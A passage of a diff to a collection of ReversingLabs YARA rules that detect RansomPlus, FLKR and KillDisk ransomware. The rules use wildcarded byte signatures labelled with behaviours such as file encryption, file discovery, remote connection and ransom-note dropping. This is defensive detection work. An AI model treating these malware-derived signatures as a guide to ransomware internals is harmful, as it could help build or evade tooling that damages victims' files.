-            E8 ?? ?? ?? ?? 8B 7D ?? 83 C4 ?? 33 F6 C7 45 ?? ?? ?? ?? ?? 33 DB 89 5D ?? 56 57 FF
-            15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 4D ?? 66 8B 0D ?? ?? 4E 00 66 89 4D ?? 8D 4D ??
-            89 45 ?? 8D 51 ?? 89 5D ?? 8A 01 41 84 C0 75 ?? 6A ?? 8D 45 ?? 2B CA 50 51 8D 45 ??
-            50 FF 75 ?? FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? FF 75 ?? FF 75 ?? FF
-            15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ??
-            ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 66 0F 1F 44 00 ?? 8B 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 03
-            F0 33 C9 3B 75 ?? 75 ?? 85 C9 75 ?? 33 DB 83 F8 ?? 0F 95 C3 68 ?? ?? ?? ?? 8D 45 ??
-            50 8D 85 ?? ?? ?? ?? 50 6A ?? 53 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ??
-            8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 FF 75 ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF 15 ?? ??
-            ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
-            8D 45 ?? 6A ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F
-            85 ?? ?? ?? ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ??
-            FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 57 FF D6 FF 75 ?? FF D6 8B 4D ?? 5F 5E 64 89 0D
-            ?? ?? ?? ?? 5B 8B E5 5D C2 ?? ?? 8D 45
+
+	condition:
+		uint16(0)==0x5A4D and (( all of ($enum_directories_p*)) and ( all of ($enum_drives_p*)) and ( all of ($encrypt_files_p*)))
+}
+rule REVERSINGLABS_Win32_Ransomware_Ransomplus : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects RansomPlus ransomware."
+		author = "ReversingLabs"
+		id = "ee96eab6-104d-560f-adae-6d5f0ba5d469"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.RansomPlus.yara#L1-L95"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "8ab18c6bcb939eac0e74f015dea773141b5086c5fcb4783666eeac1f395bc208"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "RansomPlus"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$find_files_1_0 = {
+            55 8B EC 83 E4 ?? 83 EC ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 83 EC ??
+            8B CC 6A ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? C6 01 ?? E8 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 8B CC 6A ?? 68 ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ??
+            ?? ?? ?? C6 01 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B CC 6A ?? 68 ?? ?? ?? ?? C7 41 ??
+            ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C6 01 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B CC 6A ??
+            68 ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C6 01 ?? E8 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 83 C4 ?? 8B E5 5D C2
         }
-		$remote_connection_v2 = {
-            55 8B EC 51 53 56 57 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF
-            15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B F0 68 ?? ?? ?? ?? 56
-            FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D8 6A ??
-            53 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B F8 6A ?? 57 FF 15 ?? ?? ?? ?? 6A ?? 6A ??
-            8D 45 ?? 50 57 FF 15 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? FF D6 53 FF D6 57 FF D6 5F 5E
-            33 C0 5B 8B E5 5D C3
+		$find_files_1_1 = {
+            6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 55 ?? 8D 8D ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 78 ?? ?? 72 ?? 8B 00 8D 8D ?? ?? ?? ?? 51 50 FF 15 ??
+            ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B D8 89 9D ?? ?? ?? ?? 83 F9 ?? 72 ?? 8B 95 ?? ?? ?? ??
+            41 81 F9 ?? ?? ?? ?? 72 ?? F6 C2 ?? 74 ?? E8 ?? ?? ?? ?? 8B 42 ?? 3B C2 72 ?? E8 ??
+            ?? ?? ?? 2B D0 83 FA ?? 73 ?? E8 ?? ?? ?? ?? 83 FA ?? 76 ?? E8 ?? ?? ?? ?? 8B D0 52
+            E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
+            C6 85 ?? ?? ?? ?? ?? 83 FB ?? 75 ?? 53 FF 15 ?? ?? ?? ?? 32 DB E9 ?? ?? ?? ?? C7 85
+            ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8D 85 ??
+            ?? ?? ?? C6 45 ?? ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ??
+            ?? ?? 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85
         }
-		$drop_ransom_note_v2_p1 = {
-            6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 89 45 ??
-            C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 6A ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
-            45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 85 C0 74 ?? C7 00 ?? ?? ?? ?? C7
-            40 ?? ?? ?? ?? ?? 8B 45 ?? 8D 4D ?? 89 08 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45
-            ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 68 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? ?? ?? ?? ?? 87 FB 00 00 00 A0 ?? ??
-            ?? ?? 88 87 ?? ?? ?? ?? 8B F7 8D 4E ?? 0F 1F 40 ?? 8A 06 46 84 C0 75 ?? 2B F1 8D 46
-            ?? 50 E8 ?? ?? ?? ?? 8B D8 83 C4 ?? 85 DB 74 ?? 56 57 53 E8 ?? ?? ?? ?? 6A ?? 8D 04
-            33 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F3 8D 4E ?? 0F 1F 44 00 ?? 8A 06 46
-            84 C0 75 ?? 2B F1 8D 86 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 56
-            53 57 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 04 37 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4
-            ?? 8B F7 8D 4E ?? 8A 06 46 84 C0 75 ?? 2B F1 8D 86 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B
-            D8 83 C4 ?? 85 DB 74 ?? 56 57 53 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 04 33 68 ?? ?? ??
-            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F3 8D 4E ?? 8A 06 46 84 C0 75 ?? 2B F1 8D 46 ?? 50
+		$find_files_1_2 = {
+            8A 10 3A 11 75 ?? 84 D2 74 ?? 8A 50 ?? 3A 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ??
+            33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
+            8A 10 3A 11 75 ?? 84 D2 74 ?? 8A 50 ?? 3A 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ??
+            33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? C7 85 ?? ??
+            ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 75 ?? 33 C9 EB
+            ?? 8D 8D ?? ?? ?? ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 2B CA 51 8D 85 ?? ?? ?? ?? 50 8D
+            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 55 ?? 8D 8D ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 EC ??
+            8B CC C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 83 79 ?? ?? 72 ?? 8B 01 EB ?? 8B C1
+            6A ?? C6 00 ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6
+            45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ??
+            ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 75 ?? 33 C9 EB ?? 8D 8D
+            ?? ?? ?? ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 2B CA 51 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ??
+            ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D 8D ?? ?? ??
+            ?? 8B 95 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 83 FE ?? 0F 43 C2 0F 43 CA 89 85 ?? ?? ?? ??
+            8B 85 ?? ?? ?? ?? 03 C1 83 FE ?? 8B F8 0F 43 DA 33 C9 2B FB 33 F6 3B D8 0F 47 F9 85
+            FF 74 ?? 0F BE 04 33 50 E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 C4 ?? 88 04 31 46 3B F7
+            75 ?? 33 C0 89 85 ?? ?? ?? ?? 8B 94 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7
+            85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 80 3A ?? 75 ?? 33 C9 EB ?? 8B CA 8D
+            71 ?? 8A 01 41 84 C0 75 ?? 2B CE 51 52 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ??
+            8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 F9 ?? 0F
+            43 C2 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 43 C2 03 85 ?? ?? ?? ?? 83 F9 ?? 8B F8
+            0F 43 DA 33 F6 2B FB 3B D8 0F 47 FE 85 FF 74
         }
-		$drop_ransom_note_v2_p2 = {
-            E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 56 53 57 E8 ?? ?? ?? ?? 6A ?? 8D 04 37 68
-            ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F7 8D 4E ?? 0F 1F 00 8A 06 46 84 C0 75 ??
-            2B F1 8D 46 ?? 50 E8 ?? ?? ?? ?? 8B D8 83 C4 ?? 85 DB 74 ?? 56 57 53 E8 ?? ?? ?? ??
-            F3 0F 7E 05 ?? ?? ?? ?? 83 C4 ?? 66 0F D6 04 33 8B F3 8D 4E ?? 8A 06 46 84 C0 75 ??
-            2B F1 8D 46 ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 56 53 57 E8 ?? ?? ?? ??
-            6A ?? 8D 04 37 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F7 8D 4E ?? 8A 06 46 84
-            C0 75 ?? 2B F1 8D 46 ?? 50 E8 ?? ?? ?? ?? 8B D8 83 C4 ?? 85 DB 74 ?? 56 57 53 E8 ??
-            ?? ?? ?? 6A ?? 8D 04 33 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F3 8D 4E ?? 66
-            90 8A 06 46 84 C0 75 ?? 2B F1 8D 46 ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ??
-            56 53 57 E8 ?? ?? ?? ?? 6A ?? 8D 04 37 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B
-            CF 5B 8D 51 ?? 0F 1F 40 ?? 8A 01 41 84 C0 75 ?? 8B 75 ?? 8D 45 ?? 6A ?? 50 2B CA 51
-            57 56 FF 15 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 56 FF 15 ?? ?? ?? ?? 8D 4D
-            ?? E8 ?? ?? ?? ?? 8B 4D ?? 5F 5E 64 89 0D ?? ?? ?? ?? 8B E5 5D C2
+		$encrypt_files = {
+            8A 01 41 84 C0 75 ?? 2B CA C6 85 ?? ?? ?? ?? ?? 33 C0 88 84 05 ?? ?? ?? ?? 40 3D ??
+            ?? ?? ?? 72 ?? 33 F6 8B C6 33 D2 F7 F1 8A 04 3A 02 C1 30 84 35 ?? ?? ?? ?? 46 81 FE
+            ?? ?? ?? ?? 72 ?? 83 7D ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? 0F 43 45 ?? 50 E8 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 8D 55 ?? 8B F8 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ??
+            8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B
+            D8 85 FF 74 ?? 85 DB 74 ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 57 68 ?? ?? ?? ??
+            8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 8B F0 8D 85 ??
+            ?? ?? ?? 50 E8 ?? ?? ?? ?? 53 56 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 57 E8 ??
+            ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 57 E8 ?? ?? ?? ?? 83 C4 ??
+            83 7D ?? ?? 8D 45 ?? 0F 43 45 ?? 50 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? 83 F8
+            ?? 72 ?? 8B 8D ?? ?? ?? ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 74 ?? E8 ?? ?? ?? ?? 8B
+            41 ?? 3B C1 72 ?? E8 ?? ?? ?? ?? 2B C8 83 F9 ?? 73 ?? E8 ?? ?? ?? ?? 83 F9 ?? 76 ??
+            E8 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ??
+            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 83 F8 ?? 72 ?? 8B 4D ?? 40 3D
+            ?? ?? ?? ?? 72 ?? F6 C1 ?? 74 ?? E8 ?? ?? ?? ?? 8B 41 ?? 3B C1 72 ?? E8 ?? ?? ?? ??
+            2B C8 83 F9 ?? 73 ?? E8 ?? ?? ?? ?? 83 F9 ?? 76 ?? E8 ?? ?? ?? ?? 8B C8 51 E8 ?? ??
+            ?? ?? 83 C4 ?? 8B 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 F8
+            ?? 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 74 ?? E8 ?? ?? ?? ?? 8B 41 ?? 3B
+            C1 72 ?? E8 ?? ?? ?? ?? 2B C8 83 F9 ?? 73 ?? E8 ?? ?? ?? ?? 83 F9 ?? 76 ?? E8 ?? ??
+            ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B
+            4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ((( all of ($encrypt_files_v1_p*)) and ( all of ($find_files_v1_p*)) and ($create_scheduled_task_v1) and ($remote_connection_v1) and ($check_mutex_v1)) or (($find_files_v2) and ( all of ($encrypt_files_v2_p*)) and ($remote_connection_v2) and ( all of ($drop_ransom_note_v2_p*))))
+		uint16(0)==0x5A4D and $find_files_1_0 and $find_files_1_1 and $find_files_1_2 and $encrypt_files
 }
-rule REVERSINGLABS_Linux_Ransomware_Killdisk : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_FLKR : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects KillDisk ransomware."
+		description = "Yara rule that detects FLKR ransomware."
 		author = "ReversingLabs"
-		id = "af6652dd-c668-5ae1-b51b-e272cb440c20"
+		id = "7f3abcd0-8dfa-5914-9ad0-566c16c2e2ab"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Linux.Ransomware.KillDisk.yara#L1-L144"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "3ed1fb2b7b24cd4d5100d93ed53a9ab28e1482bd0998a0538d8710a962ee839f"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.FLKR.yara#L1-L71"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "4ab00ba82baceec9899556d3a774ec08c83c10930cec194e18e3b4e16ebacb58"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -38084,138 +39323,73 @@ rule REVERSINGLABS_Linux_Ransomware_Killdisk : TC_DETECTION MALICIOUS MALWARE FI
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "KillDisk"
+		tc_detection_name = "FLKR"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$encrypt_files_1 = {
-            55 48 89 E5 48 81 EC ?? ?? ?? ?? 48 89 BD ?? ?? ?? ?? 64 48 8B 04 25 ?? ?? ?? ?? 48
-            89 45 ?? 31 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 85
-            ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8B 85
-            ?? ?? ?? ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? 85 C0 74 ?? BF ?? ?? ?? ?? E8 ?? ?? ??
-            ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ??
-            ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 C7
-            B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 05 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 85 C0 79 ?? 48 8B
-            85 ?? ?? ?? ?? 48 89 C6 BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 85 ?? ??
-            ?? ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 85 C0 78 ?? 48 8B 85 ?? ?? ?? ?? BE ??
-            ?? ?? ?? 48 89 C7 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 05 ?? ?? ?? ?? 8B 05 ?? ?? ?? ??
-            85 C0 79 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 45 ?? 48 8D 90 ?? ?? ?? ?? 48 85 C0
-            48 0F 48 C2 48 C1 F8 ?? 48 89 85 ?? ?? ?? ?? 48 8B 45 ?? 48 85 C0 7E ?? 48 83 BD ??
-            ?? ?? ?? ?? 7F ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ??
-            ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 0F 8E ?? ?? ?? ?? 48
-            83 BD ?? ?? ?? ?? ?? 7F ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ??
-            ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C2 48 C1
-        }
-		$encrypt_files_2 = {
-            EA ?? 48 01 D0 48 D1 F8 48 C1 E0 ?? 48 89 C1 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89
-            CE 89 C7 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ??
-            ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 0F 8E ?? ?? ??
-            ?? 48 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 0F 8F ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 BA ??
-            ?? ?? ?? ?? ?? ?? ?? 48 89 C8 48 F7 EA 48 8D 04 0A 48 C1 F8 ?? 48 89 C2 48 89 C8 48
-            C1 F8 ?? 48 29 C2 48 89 D0 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? 8B
-            85 ?? ?? ?? ?? C1 E0 ?? 48 63 C8 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 CE 89 C7 E8
-            ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75
-            ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 85 ?? ?? ?? ?? ?? 83 85 ?? ?? ?? ?? ?? 8B 85 ??
-            ?? ?? ?? 3B 85 ?? ?? ?? ?? 7C ?? 48 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 0F 8E ?? ?? ?? ??
-            48 8B 8D ?? ?? ?? ?? 48 BA ?? ?? ?? ?? ?? ?? ?? ?? 48 89 C8 48 F7 EA 48 8D 04 0A 48
-            C1 F8 ?? 48 89 C2 48 89 C8 48 C1 F8 ?? 48 29 C2 48 89 D0 89 85 ?? ?? ?? ?? C7 85 ??
-            ?? ?? ?? ?? ?? ?? ?? EB ?? 8B 85 ?? ?? ?? ?? C1 E0 ?? 48 63 C8 8B 85 ?? ?? ?? ?? BA
-            ?? ?? ?? ?? 48 89 CE 89 C7 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ??
-            ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 83 85 ?? ?? ?? ?? ?? 83 85 ??
-            ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B 85 ?? ?? ?? ?? 7C ?? 8B 05 ?? ?? ?? ?? 89 C7 E8 ??
-            ?? ?? ?? 8B 05 ?? ?? ?? ?? 89 C7 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 48 8B 75 ?? 64 48 33
-            34 25 ?? ?? ?? ?? 74 ?? E8 ?? ?? ?? ?? C9 C3
-        }
-		$search_files = {
-            55 48 89 E5 48 81 EC ?? ?? ?? ?? 48 89 BD ?? ?? ?? ?? 64 48 8B 04 25 ?? ?? ?? ?? 48
-            89 45 ?? 31 C0 8B 05 ?? ?? ?? ?? 83 C0 ?? 89 05 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 83 F8
-            ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ??
-            48 89 85 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7
-            85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 85 ??
-            ?? ?? ?? 48 83 C0 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ??
-            48 8B 85 ?? ?? ?? ?? 48 83 C0 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 85 C0 75 ??
-            E9 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 83 C0
-            ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 85 C0 75 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
-            E9 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 83 C0 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ??
-            ?? 85 C0 74 ?? 48 8B 85 ?? ?? ?? ?? 48 83 C0 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ??
-            ?? 85 C0 75 ?? 83 85 ?? ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? C7 85 ??
-            ?? ?? ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89
-            D6 48 89 C7 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 C7 C1 ?? ?? ?? ?? 48 89 C2 B8 ??
-            ?? ?? ?? 48 89 D7 F2 AE 48 89 C8 48 F7 D0 48 8D 50 ?? 48 8D 85 ?? ?? ?? ?? 48 01 D0
-            66 C7 00 ?? ?? 48 8B 85 ?? ?? ?? ?? 48 8D 50 ?? 48 8D 85 ?? ?? ?? ?? 48 89 D6 48 89
-            C7 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? 48 8D
-            85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 83 E8 ?? 89 05 ?? ?? ?? ??
-            48 8B 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 83 BD ?? ?? ??
-            ?? ?? 0F 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? B8 ?? ?? ?? ??
-            48 8B 4D ?? 64 48 33 0C 25 ?? ?? ?? ?? 74 ?? E8 ?? ?? ?? ?? C9 C3
-        }
